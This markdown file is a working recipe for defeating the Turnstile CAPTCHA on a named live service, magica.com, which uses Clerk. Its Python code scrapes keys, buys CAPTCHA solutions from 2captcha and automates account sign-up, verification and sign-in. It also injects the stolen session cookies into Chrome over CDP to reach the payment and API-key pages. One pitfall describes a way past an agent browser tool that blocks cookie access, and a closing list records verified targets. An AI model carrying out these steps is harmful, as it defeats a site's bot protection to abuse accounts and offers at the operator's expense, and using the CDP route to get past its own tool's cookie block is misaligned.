179 lines
6.3 KiB
Markdown
179 lines
6.3 KiB
Markdown
# Clerk Turnstile Bypass — Full Reproduction Recipe
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Date: 2026-07-16
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Target: magica.com (Clerk auth + Cloudflare Turnstile)
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## Why Form-Encoded?
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Clerk's `/v1/client/sign_ups` and `/v1/client/sign_ins` endpoints reject `captcha_token` in JSON body (`application/json`) with `captcha_missing_token` error. Same token works when sent as `application/x-www-form-urlencoded`.
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**Tested combinations (all FAIL):**
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- `captcha_token` in JSON body → `captcha_missing_token`
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- `turnstile_token` in JSON body → `captcha_missing_token`
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- `cf-turnstile-response` in JSON body → `captcha_missing_token`
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- `X-Clerk-Captcha-Token` header → `captcha_missing_token`
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- `Clerk-Captcha-Token` header → `captcha_missing_token`
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- Same token via `curl_cffi` session → `captcha_missing_token`
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**What WORKS:**
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- `application/x-www-form-urlencoded` with `captcha_token` field → 200 OK, sign-up created
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## Finding Sitekey — Two Methods
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**API (no browser needed):**
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```python
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r = requests.get(f"{CLERK}/v1/environment",
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headers={"Clerk-Publishable-Key": PK})
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sitekey = r.json()["display_config"]["captchaPublicKey"]
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# "captchaPublicKeyInvisible" also available for invisible widgets
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```
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**Browser console (when already on the page):**
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```js
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window.Clerk.__unstable__environment.displayConfig.captchaPublicKey
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// → "0x4AAAAAAAWXJGBD7bONzLBd" (visible)
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// → "0x4AAAAAAAFV93qQdS0ycilX" (invisible)
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```
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## Step-by-Step
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### 1. Find Clerk Publishable Key
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```python
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import requests, re
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r = requests.get("https://target.com")
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html = r.text
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pk = re.findall(r'pk_live_[a-zA-Z0-9]+', html)[0]
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# Decode base64 to get clerk domain: Y2xlcmsubWFnaWNhLmNvbSQ = clerk.magica.com$
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```
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### 2. Get Turnstile Sitekey
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```python
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clerk_url = "https://clerk.target.com"
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r = requests.get(f"{clerk_url}/v1/environment", headers={
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"Clerk-Publishable-Key": pk
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})
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sitekey = r.json()["display_config"]["captchaPublicKey"]
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```
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### 3. Solve Turnstile via 2captcha
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```python
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import requests, time
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r = requests.get("https://2captcha.com/in.php", params={
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"key": "YOUR_2CAPTCHA_KEY", "method": "turnstile",
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"sitekey": sitekey, "pageurl": "https://target.com", "json": 1
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})
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captcha_id = r.json()["request"]
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for i in range(30):
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time.sleep(2)
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r = requests.get("https://2captcha.com/res.php", params={
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"key": "YOUR_2CAPTCHA_KEY", "action": "get",
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"id": captcha_id, "json": 1
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})
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if r.json().get("status") == 1:
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token = [REDACTED])["request"]
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break
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```
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### 4. Register via Form-Encoded
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```python
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import urllib.parse
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s = requests.Session() # CRITICAL: use session for cookies
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data = urllib.parse.urlencode({
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"email_address": "user@example.com",
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"password": "StrongPass123!",
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"first_name": "Alex",
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"last_name": "Morgan",
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"captcha_token": token,
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}).encode()
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r = s.post(f"{clerk_url}/v1/client/sign_ups",
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headers={"Clerk-Publishable-Key": pk,
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"Content-Type": "application/x-www-form-urlencoded"},
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data=data)
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signup_id = r.json()["response"]["id"]
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# Prepare verification
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r2 = s.post(f"{clerk_url}/v1/client/sign_ups/{signup_id}/prepare_verification",
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headers={"Clerk-Publishable-Key": pk,
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"Content-Type": "application/x-www-form-urlencoded"},
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data=urllib.parse.urlencode({"strategy": "email_code"}).encode())
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# Read verification code from email (IMAP)
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# ... get code ...
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# Attempt verification
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r3 = s.post(f"{clerk_url}/v1/client/sign_ups/{signup_id}/attempt_verification",
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headers={"Clerk-Publishable-Key": pk,
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"Content-Type": "application/x-www-form-urlencoded"},
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data=urllib.parse.urlencode({"strategy": "email_code", "code": code}).encode())
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```
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### 5. Sign-In (Same Pattern)
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```python
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data = urllib.parse.urlencode({
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"identifier": "user@example.com",
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"password": "StrongPass123!",
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"strategy": "password",
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"captcha_token": token,
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}).encode()
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r = s.post(f"{clerk_url}/v1/client/sign_ins",
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headers={"Clerk-Publishable-Key": pk,
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"Content-Type": "application/x-www-form-urlencoded"},
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data=data)
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# Extract JWT: r.json()["client"]["sessions"][0]["last_active_token"]["jwt"]
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# Extract cookies: dict(s.cookies) → __client, __client_uat, __client_uat_*
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```
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## CDP Cookie Injection (Browser Session from API)
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When you have Clerk cookies from API sign-in but need the browser UI (for Claim Offer, payment, API keys):
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```python
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import asyncio
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from playwright.async_api import async_playwright
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async def inject_and_navigate(cookies: dict, target_url: str):
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async with async_playwright() as p:
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browser = await p.chromium.connect_over_cdp("http://127.0.0.1:9222")
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context = browser.contexts[0]
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page = context.pages[0] if context.pages else await context.new_page()
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await context.add_cookies([
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{"name": k, "value": v, "domain": ".target.com",
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"path": "/", "httpOnly": False, "secure": True, "sameSite": "Lax"}
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for k, v in cookies.items()
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])
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await page.goto(target_url, wait_until="load") # NOT "networkidle"
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```
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**Chrome CDP startup:**
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```python
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import subprocess
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subprocess.run("taskkill /F /IM chrome.exe", shell=True)
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subprocess.Popen([
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r"C:\Program Files\Google\Chrome\Application\chrome.exe",
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"--remote-debugging-port=9222",
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"--remote-allow-origins=*", # REQUIRED for WebSocket CDP
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r"--user-data-dir=C:\Users\User\AppData\Local\hermes\cache\chrome-profile",
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"--no-first-run", "--no-default-browser-check",
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"about:blank"
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], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
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```
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## Key Pitfalls
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1. **Same session mandatory** — verification fails with "Signed out" if you lose `__client` cookie
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2. **Token TTL ~2 minutes** — solve captcha, sign-up, verify in rapid succession
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3. **Password requirements** — Clerk enforces: min 8 chars, special char, uppercase, lowercase, number
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4. **Rate limit 429** — after 5-6 rapid requests, wait 30s
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5. **OAuth doesn't bypass captcha** — if `captchaOauthBypass: []`, OAuth also requires Turnstile
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6. **Browser cookie injection blocked** — Hermes browser tool blocks `document.cookie`. Use CDP
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7. **`wait_until="load"` not `"networkidle"`** — Cloudflare-protected pages never reach networkidle
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## Verified Targets
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- magica.com (2026-07-16) — Clerk 5.x, sitekey `0x4AAAAAAAWXJGBD7bONzLBd`, $14.99/mo
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- API base: `https://api.magica.com/api/v1`, key format: `gx_...`, 81 models |